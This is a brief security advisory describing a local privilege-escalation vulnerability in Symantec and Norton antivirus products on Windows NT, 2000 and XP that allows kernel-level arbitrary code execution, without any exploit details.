Symantec AntiVirus is prone to a privilege-escalation vulnerability.
Local attackers can exploit this issue to corrupt memory and execute arbitrary code with kernel-level privileges. Successful exploits may facilitate a complete system compromise.
This issue affects only Symantec and Norton antivirus products running on Microsoft Windows NT, Windows 2000, and Windows XP.
